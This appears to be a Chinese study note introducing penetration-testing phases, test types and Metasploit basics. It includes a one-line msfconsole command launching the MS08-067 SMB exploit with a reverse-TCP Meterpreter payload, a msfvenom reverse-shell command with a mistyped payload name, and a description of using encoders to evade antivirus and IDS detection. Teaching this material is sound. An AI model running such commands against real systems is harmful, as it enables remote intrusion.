滲透測試流程和類型
滲透測試流程
滲透測試執行標準(PTES:Penetration Testing Execution Standard)對滲透測試進行了定義。
- 前期交互階段
- 情報搜集階段
- 威脅建模階段
- 漏洞分析階段
- 滲透攻擊階段
- 后滲透攻擊階段
- 報告階段
每個階段現在不作詳細的介紹,在后面會有針對性的講解。對一些靶機的滲透過程中,會綜合運用以上的階段。當然,標準是靈活的,我們一樣可以按照自己的習慣和經驗來制定自己的滲透測試流程。像我在讀的另外一本書《黑客秘笈——滲透測試使用指南(第2版)》(英文原著已經到第3版,只是還沒有中文譯本),筆者就有自己的一套滲透測試流程,或許這套流程更適合自己。
滲透測試類型
- 白盒測試
擁有所有的內部知識,在不需要害怕被阻斷的情況下任意地實施攻擊。 - 黑盒測試
不了解客戶組織大部分信息和知識,模擬攻擊者的入侵行為,費時費力,需要具備更強的技術能力。 - 灰盒測試
上面兩者的組合,已經了解部分內部知識(結構拓撲圖、訪問憑證、應用使用手冊等)。
Metasploit基礎
接口
選項
變量
模塊
...
專業術語
1. Exploit_滲透攻擊
攻擊者利用一個安全漏洞所進行的攻擊行為。流行的滲透攻擊技術包括緩沖區溢出、Web應用程序漏洞攻擊(如SQL注入),及利用配置錯誤等。
2. Payload_攻擊載荷
是我們期望目標系統在被滲透攻擊之后去執行的代碼。
3. shellcode
在滲透攻擊時作為攻擊載荷運行的一組機器命令。shellcode通常以匯編語言編寫。
4. Module_模塊
一個模塊是指Metasploit框架中所使用的一段軟件代碼組件。
比如說:滲透攻擊模塊(exploit module),輔助模塊(auxiliary module)
5. Listener_監聽器
等待被滲透主機連入網絡的連接的組件
接口
1. MSF終端
msfconsole
啟動
help 命令
查看命令幫助,如 help connect
,查看connect
命令的相關選項。
2. MSF命令行
命令行和終端的區別:
終端以一種用戶友好的模式提供交互方式。
命令行主要考慮對腳本處理和與其他命令行工具的互操作性。簡單說就是一行命令直接解決,不像終端那樣交互幾次。
在2015年1月份,Metasploit 官方宣布不再支持msfcli
命令行工具,作為替代方案,建議使用MSF終端的“-x”選項。
如:
./msfconsole -x "use exploit/windows/smb/mse8_067_netapi;set RHOST [IP];set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST [IP];run"
3. Armitage
完全交互式的圖形化用戶接口。跟終端的區別在于可以圖形化選擇模塊,已經集成在kali上。
Metasploit功能程序
就是指在某些特殊場合下最常用的功能。
1. MSF攻擊載荷生成器
MSF攻擊載荷生成器允許你能夠生成shellcode、可執行代碼和其他更多的東西,也可以讓它們在框架軟件之外的滲透代碼中進行使用。
msfpayload
已經被棄用,取而代之的是集成了攻擊載荷生成
和編碼
的msfvenom
。
如果對某個攻擊載荷的模塊不清楚配置,使用payload-options
root@kali:~$ msfvenom-p windows/she11_reverse_tcp --payload-options
2. MSF編碼器
為什么要使用編碼器:
由MSF攻擊載荷生成器產生的shellcode是完全可運行的,但是其中包含了一些
null空字符
,在一些程序進行解析時,這些空字符會被認為是字符串的結束,從而使得代碼在完整執行之前被截斷而終止運行。簡單來說,這些\x00和\xff字符會破壞你的攻擊載荷。在網絡上明文傳輸的shellcode很可能被入侵檢測系統(IDS)和殺毒軟件所識別,為了解決這一問題,MSF編碼器來啦!它可以幫助你通過對原始攻擊載荷進行編碼的方式,來避免壞字符,以及逃避殺毒軟件和IDS的檢測。
3. Nasm shell
在進行滲透代碼開發時(絕對是大神級別了),需要對給定的匯編命令找出它的opcode操作碼,nasm就特別舒服了!